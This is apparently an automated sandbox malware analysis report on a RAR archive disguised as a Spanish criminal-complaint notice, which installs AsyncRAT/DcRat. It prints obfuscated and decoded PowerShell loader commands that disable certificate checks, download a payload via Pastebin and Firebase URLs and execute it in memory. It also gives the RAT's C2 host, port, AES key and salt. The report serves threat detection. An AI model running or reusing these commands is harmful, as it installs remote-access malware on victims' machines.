File name:

REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000.uue

Full analysis: https://app.any.run/tasks/4e212794-bc1f-4e5c-af31-21f6a5157b71
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: August 27, 2024, 03:03:58
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
pastebin
rat
asyncrat
remote
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

5D3227A4F1FD8124F48B9176A9627634

SHA1:

140D019EE387E521561ACC1523DF06B22B4B40A8

SHA256:

CCEF4203BF7B8CF07F7C724F530F5AAA093D601306D3F137DBE4390C7AE29205

SSDEEP:

96:myBeJSbb78Bi3gogExK9Vayg7u8Ra1TLs9hIHuxLdf7C+SYdR5cO:K8tOstgLIau9EYr

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 1124)
      • powershell.exe (PID: 3244)
      • powershell.exe (PID: 232)
      • powershell.exe (PID: 5468)

    • Create files in the Startup directory

      • powershell.exe (PID: 3244)

    • ASYNCRAT has been detected (YARA)

      • RegSvcs.exe (PID: 4004)

    • ASYNCRAT has been detected (SURICATA)

      • RegSvcs.exe (PID: 4004)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 1344)
      • powershell.exe (PID: 3244)
      • powershell.exe (PID: 1124)
      • wscript.exe (PID: 1288)
      • powershell.exe (PID: 232)
      • powershell.exe (PID: 5468)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 6836)

    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 1344)
      • wscript.exe (PID: 1288)

    • The process executes VB scripts

      • WinRAR.exe (PID: 6836)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 1344)
      • wscript.exe (PID: 1288)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 1124)
      • powershell.exe (PID: 3244)
      • powershell.exe (PID: 232)
      • powershell.exe (PID: 5468)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1124)
      • powershell.exe (PID: 3244)
      • powershell.exe (PID: 232)
      • powershell.exe (PID: 5468)

    • Requests information from PasteBin

      • powershell.exe (PID: 3244)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 1344)
      • wscript.exe (PID: 1288)

    • Probably download files using WebClient

      • powershell.exe (PID: 1124)
      • powershell.exe (PID: 232)

    • Application launched itself

      • powershell.exe (PID: 1124)
      • powershell.exe (PID: 3244)
      • powershell.exe (PID: 232)
      • powershell.exe (PID: 5468)

    • Contacting a server suspected of hosting an CnC

      • RegSvcs.exe (PID: 4004)

  • INFO

    • Reads Microsoft Office registry keys

      • WinRAR.exe (PID: 6836)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 1124)
      • powershell.exe (PID: 232)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 1124)
      • powershell.exe (PID: 232)

    • Checks supported languages

      • RegSvcs.exe (PID: 4004)
      • RegSvcs.exe (PID: 6236)

    • Reads the computer name

      • RegSvcs.exe (PID: 4004)
      • RegSvcs.exe (PID: 6236)

    • Reads the machine GUID from the registry

      • RegSvcs.exe (PID: 4004)
      • RegSvcs.exe (PID: 6236)

    • Disables trace logs

      • powershell.exe (PID: 3244)
      • powershell.exe (PID: 5468)

    • Checks proxy server information

      • powershell.exe (PID: 3244)
      • powershell.exe (PID: 5468)

    • Reads Environment values

      • RegSvcs.exe (PID: 4004)

    • Reads the software policy settings

      • RegSvcs.exe (PID: 4004)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

AsyncRat

(PID) Process(4004) RegSvcs.exe
C2 (1)nominanuevo.duckdns.org
Ports (1)8081
Version1.0.7
Options
AutoRunfalse
MutexDcRatMutex_qwqdanchun
InstallFolder%AppData%
Certificates
Cert1MIICMDCCAZmgAwIBAgIVAPdJPjCx7pYvZ/1H2FuVvfr12RcjMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIxMTIwOTIwNDY0MFoXDTMyMDkxNzIwNDY0MFowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0A...
Server_SignatureS//w5TiZsNFGE0iCrb6Lv/IWRttPA5M8s3avl1tVXxcSQEIjHCFhHBp+6UB8/QRCArhhtWsWWJ2kfTn7sAXU2prq+ry7tUUJY9+iKyre6+zQkym+MBAPb13klW2zd8ntSzyQYnXFEXYCDhNZJbE74u9OsD+JVhRXP3Rv3NI+RWo=
Keys
AES52f0702256ff322044873ddc5aec7245a580f45a4c16d6f94aef0588ebc9b59a
SaltDcRatByqwqdanchun
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
135
Monitored processes
14
Malicious processes
7
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs wscript.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe powershell.exe no specs #ASYNCRAT regsvcs.exe svchost.exe wscript.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe powershell.exe no specs regsvcs.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
232"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $MkplqW = 'J☼Bi☼GE☼cgB5☼Gk☼I☼☼9☼C☼☼Jw☼w☼DM☼Jw☼7☼CQ☼agBt☼Ho☼bgB0☼C☼☼PQ☼g☼Cc☼JQBw☼Ho☼QQBj☼E8☼ZwBJ☼G4☼TQBy☼CU☼Jw☼7☼Fs☼UwB5☼HM☼d☼Bl☼G0☼LgBO☼GU☼d☼☼u☼FM☼ZQBy☼HY☼aQBj☼GU☼U☼Bv☼Gk☼bgB0☼E0☼YQBu☼GE☼ZwBl☼HI☼XQ☼6☼Do☼UwBl☼HI☼dgBl☼HI☼QwBl☼HI☼d☼Bp☼GY☼aQBj☼GE☼d☼Bl☼FY☼YQBs☼Gk☼Z☼Bh☼HQ☼aQBv☼G4☼QwBh☼Gw☼b☼Bi☼GE☼YwBr☼C☼☼PQ☼g☼Hs☼J☼B0☼HI☼dQBl☼H0☼OwBb☼FM☼eQBz☼HQ☼ZQBt☼C4☼TgBl☼HQ☼LgBT☼GU☼cgB2☼Gk☼YwBl☼F☼☼bwBp☼G4☼d☼BN☼GE☼bgBh☼Gc☼ZQBy☼F0☼Og☼6☼FM☼ZQBj☼HU☼cgBp☼HQ☼eQBQ☼HI☼bwB0☼G8☼YwBv☼Gw☼I☼☼9☼C☼☼WwBT☼Hk☼cwB0☼GU☼bQ☼u☼E4☼ZQB0☼C4☼UwBl☼GM☼dQBy☼Gk☼d☼B5☼F☼☼cgBv☼HQ☼bwBj☼G8☼b☼BU☼Hk☼c☼Bl☼F0☼Og☼6☼FQ☼b☼Bz☼DE☼Mg☼7☼Fs☼QgB5☼HQ☼ZQBb☼F0☼XQ☼g☼CQ☼bwB2☼HQ☼a☼Bk☼C☼☼PQ☼g☼Fs☼cwB5☼HM☼d☼Bl☼G0☼LgBD☼G8☼bgB2☼GU☼cgB0☼F0☼Og☼6☼EY☼cgBv☼G0☼QgBh☼HM☼ZQ☼2☼DQ☼UwB0☼HI☼aQBu☼Gc☼K☼☼g☼Cg☼TgBl☼Hc☼LQBP☼GI☼agBl☼GM☼d☼☼g☼E4☼ZQB0☼C4☼VwBl☼GI☼QwBs☼Gk☼ZQBu☼HQ☼KQ☼u☼EQ☼bwB3☼G4☼b☼Bv☼GE☼Z☼BT☼HQ☼cgBp☼G4☼Zw☼o☼C☼☼K☼BO☼GU☼dw☼t☼E8☼YgBq☼GU☼YwB0☼C☼☼TgBl☼HQ☼LgBX☼GU☼YgBD☼Gw☼aQBl☼G4☼d☼☼p☼C4☼R☼Bv☼Hc☼bgBs☼G8☼YQBk☼FM☼d☼By☼Gk☼bgBn☼Cg☼JwBo☼HQ☼d☼Bw☼Do☼Lw☼v☼H☼☼YQBz☼HQ☼ZQBi☼Gk☼bg☼u☼GM☼bwBt☼C8☼cgBh☼Hc☼LwBW☼Dk☼eQ☼1☼FE☼NQB2☼HY☼Jw☼p☼C☼☼KQ☼g☼Ck☼OwBb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QQBw☼H☼☼R☼Bv☼G0☼YQBp☼G4☼XQ☼6☼Do☼QwB1☼HI☼cgBl☼G4☼d☼BE☼G8☼bQBh☼Gk☼bg☼u☼Ew☼bwBh☼GQ☼K☼☼k☼G8☼dgB0☼Gg☼Z☼☼p☼C4☼RwBl☼HQ☼V☼B5☼H☼☼ZQ☼o☼Cc☼QwBs☼GE☼cwBz☼Ew☼aQBi☼HI☼YQBy☼Hk☼Mw☼u☼EM☼b☼Bh☼HM☼cw☼x☼Cc☼KQ☼u☼Ec☼ZQB0☼E0☼ZQB0☼Gg☼bwBk☼Cg☼JwBN☼HM☼cQBC☼Ek☼YgBZ☼Cc☼KQ☼u☼Ek☼bgB2☼G8☼awBl☼Cg☼J☼Bu☼HU☼b☼Bs☼Cw☼I☼Bb☼G8☼YgBq☼GU☼YwB0☼Fs☼XQBd☼C☼☼K☼☼n☼DE☼M☼☼3☼GM☼NQ☼4☼GE☼Mg☼z☼Dg☼ZQBk☼C0☼NwBm☼GI☼OQ☼t☼GI☼NQBm☼DQ☼LQ☼3☼GU☼Zg☼x☼C0☼ZQ☼4☼DY☼Mg☼y☼Dk☼MQ☼z☼D0☼bgBl☼Gs☼bwB0☼CY☼YQBp☼GQ☼ZQBt☼D0☼d☼Bs☼GE☼PwB0☼Hg☼d☼☼u☼HQ☼e☼B0☼C8☼bw☼v☼G0☼bwBj☼C4☼d☼Bv☼H☼☼cwBw☼H☼☼YQ☼u☼GQ☼MQBm☼DQ☼O☼☼t☼GU☼cwBh☼GI☼LwBi☼C8☼M☼B2☼C8☼bQBv☼GM☼LgBz☼Gk☼c☼Bh☼GU☼b☼Bn☼G8☼bwBn☼C4☼ZQBn☼GE☼cgBv☼HQ☼cwBl☼HM☼YQBi☼GU☼cgBp☼GY☼Lw☼v☼Do☼cwBw☼HQ☼d☼Bo☼Cc☼I☼☼s☼C☼☼J☼Bq☼G0☼egBu☼HQ☼I☼☼s☼C☼☼JwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼LQ☼t☼C0☼LQ☼t☼C0☼LQ☼n☼Cw☼I☼☼k☼GI☼YQBy☼Hk☼aQ☼s☼C☼☼Jw☼x☼Cc☼L☼☼g☼Cc☼UgBv☼GQ☼YQ☼n☼C☼☼KQ☼p☼Ds☼';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $MkplqW.replace('☼','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\admin\AppData\Local\Temp\Rar$DIb6836.18011\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000..vbs');powershell -command $KByHL;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1124"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $MkplqW = 'J☼Bi☼GE☼cgB5☼Gk☼I☼☼9☼C☼☼Jw☼w☼DM☼Jw☼7☼CQ☼agBt☼Ho☼bgB0☼C☼☼PQ☼g☼Cc☼JQBw☼Ho☼QQBj☼E8☼ZwBJ☼G4☼TQBy☼CU☼Jw☼7☼Fs☼UwB5☼HM☼d☼Bl☼G0☼LgBO☼GU☼d☼☼u☼FM☼ZQBy☼HY☼aQBj☼GU☼U☼Bv☼Gk☼bgB0☼E0☼YQBu☼GE☼ZwBl☼HI☼XQ☼6☼Do☼UwBl☼HI☼dgBl☼HI☼QwBl☼HI☼d☼Bp☼GY☼aQBj☼GE☼d☼Bl☼FY☼YQBs☼Gk☼Z☼Bh☼HQ☼aQBv☼G4☼QwBh☼Gw☼b☼Bi☼GE☼YwBr☼C☼☼PQ☼g☼Hs☼J☼B0☼HI☼dQBl☼H0☼OwBb☼FM☼eQBz☼HQ☼ZQBt☼C4☼TgBl☼HQ☼LgBT☼GU☼cgB2☼Gk☼YwBl☼F☼☼bwBp☼G4☼d☼BN☼GE☼bgBh☼Gc☼ZQBy☼F0☼Og☼6☼FM☼ZQBj☼HU☼cgBp☼HQ☼eQBQ☼HI☼bwB0☼G8☼YwBv☼Gw☼I☼☼9☼C☼☼WwBT☼Hk☼cwB0☼GU☼bQ☼u☼E4☼ZQB0☼C4☼UwBl☼GM☼dQBy☼Gk☼d☼B5☼F☼☼cgBv☼HQ☼bwBj☼G8☼b☼BU☼Hk☼c☼Bl☼F0☼Og☼6☼FQ☼b☼Bz☼DE☼Mg☼7☼Fs☼QgB5☼HQ☼ZQBb☼F0☼XQ☼g☼CQ☼bwB2☼HQ☼a☼Bk☼C☼☼PQ☼g☼Fs☼cwB5☼HM☼d☼Bl☼G0☼LgBD☼G8☼bgB2☼GU☼cgB0☼F0☼Og☼6☼EY☼cgBv☼G0☼QgBh☼HM☼ZQ☼2☼DQ☼UwB0☼HI☼aQBu☼Gc☼K☼☼g☼Cg☼TgBl☼Hc☼LQBP☼GI☼agBl☼GM☼d☼☼g☼E4☼ZQB0☼C4☼VwBl☼GI☼QwBs☼Gk☼ZQBu☼HQ☼KQ☼u☼EQ☼bwB3☼G4☼b☼Bv☼GE☼Z☼BT☼HQ☼cgBp☼G4☼Zw☼o☼C☼☼K☼BO☼GU☼dw☼t☼E8☼YgBq☼GU☼YwB0☼C☼☼TgBl☼HQ☼LgBX☼GU☼YgBD☼Gw☼aQBl☼G4☼d☼☼p☼C4☼R☼Bv☼Hc☼bgBs☼G8☼YQBk☼FM☼d☼By☼Gk☼bgBn☼Cg☼JwBo☼HQ☼d☼Bw☼Do☼Lw☼v☼H☼☼YQBz☼HQ☼ZQBi☼Gk☼bg☼u☼GM☼bwBt☼C8☼cgBh☼Hc☼LwBW☼Dk☼eQ☼1☼FE☼NQB2☼HY☼Jw☼p☼C☼☼KQ☼g☼Ck☼OwBb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QQBw☼H☼☼R☼Bv☼G0☼YQBp☼G4☼XQ☼6☼Do☼QwB1☼HI☼cgBl☼G4☼d☼BE☼G8☼bQBh☼Gk☼bg☼u☼Ew☼bwBh☼GQ☼K☼☼k☼G8☼dgB0☼Gg☼Z☼☼p☼C4☼RwBl☼HQ☼V☼B5☼H☼☼ZQ☼o☼Cc☼QwBs☼GE☼cwBz☼Ew☼aQBi☼HI☼YQBy☼Hk☼Mw☼u☼EM☼b☼Bh☼HM☼cw☼x☼Cc☼KQ☼u☼Ec☼ZQB0☼E0☼ZQB0☼Gg☼bwBk☼Cg☼JwBN☼HM☼cQBC☼Ek☼YgBZ☼Cc☼KQ☼u☼Ek☼bgB2☼G8☼awBl☼Cg☼J☼Bu☼HU☼b☼Bs☼Cw☼I☼Bb☼G8☼YgBq☼GU☼YwB0☼Fs☼XQBd☼C☼☼K☼☼n☼DE☼M☼☼3☼GM☼NQ☼4☼GE☼Mg☼z☼Dg☼ZQBk☼C0☼NwBm☼GI☼OQ☼t☼GI☼NQBm☼DQ☼LQ☼3☼GU☼Zg☼x☼C0☼ZQ☼4☼DY☼Mg☼y☼Dk☼MQ☼z☼D0☼bgBl☼Gs☼bwB0☼CY☼YQBp☼GQ☼ZQBt☼D0☼d☼Bs☼GE☼PwB0☼Hg☼d☼☼u☼HQ☼e☼B0☼C8☼bw☼v☼G0☼bwBj☼C4☼d☼Bv☼H☼☼cwBw☼H☼☼YQ☼u☼GQ☼MQBm☼DQ☼O☼☼t☼GU☼cwBh☼GI☼LwBi☼C8☼M☼B2☼C8☼bQBv☼GM☼LgBz☼Gk☼c☼Bh☼GU☼b☼Bn☼G8☼bwBn☼C4☼ZQBn☼GE☼cgBv☼HQ☼cwBl☼HM☼YQBi☼GU☼cgBp☼GY☼Lw☼v☼Do☼cwBw☼HQ☼d☼Bo☼Cc☼I☼☼s☼C☼☼J☼Bq☼G0☼egBu☼HQ☼I☼☼s☼C☼☼JwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼LQ☼t☼C0☼LQ☼t☼C0☼LQ☼n☼Cw☼I☼☼k☼GI☼YQBy☼Hk☼aQ☼s☼C☼☼Jw☼x☼Cc☼L☼☼g☼Cc☼UgBv☼GQ☼YQ☼n☼C☼☼KQ☼p☼Ds☼';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $MkplqW.replace('☼','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\admin\AppData\Local\Temp\Rar$DIb6836.16432\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000..vbs');powershell -command $KByHL;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1288"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIb6836.18011\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000..vbs" C:\Windows\System32\wscript.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1344"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIb6836.16432\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000..vbs" C:\Windows\System32\wscript.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2256C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3244"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$baryi = '03';$jmznt = 'C:\Users\admin\AppData\Local\Temp\Rar$DIb6836.16432\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000..vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ovthd = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ovthd).GetType('ClassLibrary3.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('107c58a238ed-7fb9-b5f4-7ef1-e8622913=nekot&aidem=tla?txt.txt/o/moc.topsppa.d1f48-esab/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $jmznt , '____________________________________________-------', $baryi, '1', 'Roda' ));"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
3840\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4004"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
AsyncRat
(PID) Process(4004) RegSvcs.exe
C2 (1)nominanuevo.duckdns.org
Ports (1)8081
Version1.0.7
Options
AutoRunfalse
MutexDcRatMutex_qwqdanchun
InstallFolder%AppData%
Certificates
Cert1MIICMDCCAZmgAwIBAgIVAPdJPjCx7pYvZ/1H2FuVvfr12RcjMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIxMTIwOTIwNDY0MFoXDTMyMDkxNzIwNDY0MFowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0A...
Server_SignatureS//w5TiZsNFGE0iCrb6Lv/IWRttPA5M8s3avl1tVXxcSQEIjHCFhHBp+6UB8/QRCArhhtWsWWJ2kfTn7sAXU2prq+ry7tUUJY9+iKyre6+zQkym+MBAPb13klW2zd8ntSzyQYnXFEXYCDhNZJbE74u9OsD+JVhRXP3Rv3NI+RWo=
Keys
AES52f0702256ff322044873ddc5aec7245a580f45a4c16d6f94aef0588ebc9b59a
SaltDcRatByqwqdanchun
5468"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$baryi = '03';$jmznt = 'C:\Users\admin\AppData\Local\Temp\Rar$DIb6836.18011\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000..vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ovthd = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ovthd).GetType('ClassLibrary3.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('107c58a238ed-7fb9-b5f4-7ef1-e8622913=nekot&aidem=tla?txt.txt/o/moc.topsppa.d1f48-esab/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $jmznt , '____________________________________________-------', $baryi, '1', 'Roda' ));"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
6184\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
42 152
Read events
42 102
Write events
50
Delete events
0

Modification events

(PID) Process:(6836) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(6836) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(6836) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(6836) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\GoogleChromeEnterpriseBundle64.zip
(PID) Process:(6836) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\REF INFORMACION – ANEXO – DETALLES;ADJUNTOS – DEMANDA PENAL No. 9653000.uue.rar
(PID) Process:(6836) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(6836) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(6836) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(6836) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(6836) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3c\52C64B7E
Operation:writeName:@C:\WINDOWS\System32\wshext.dll,-4802
Value:
VBScript Script File
Executable files
0
Suspicious files
2
Text files
15
Unknown types
0

Dropped files

PID
Process
Filename
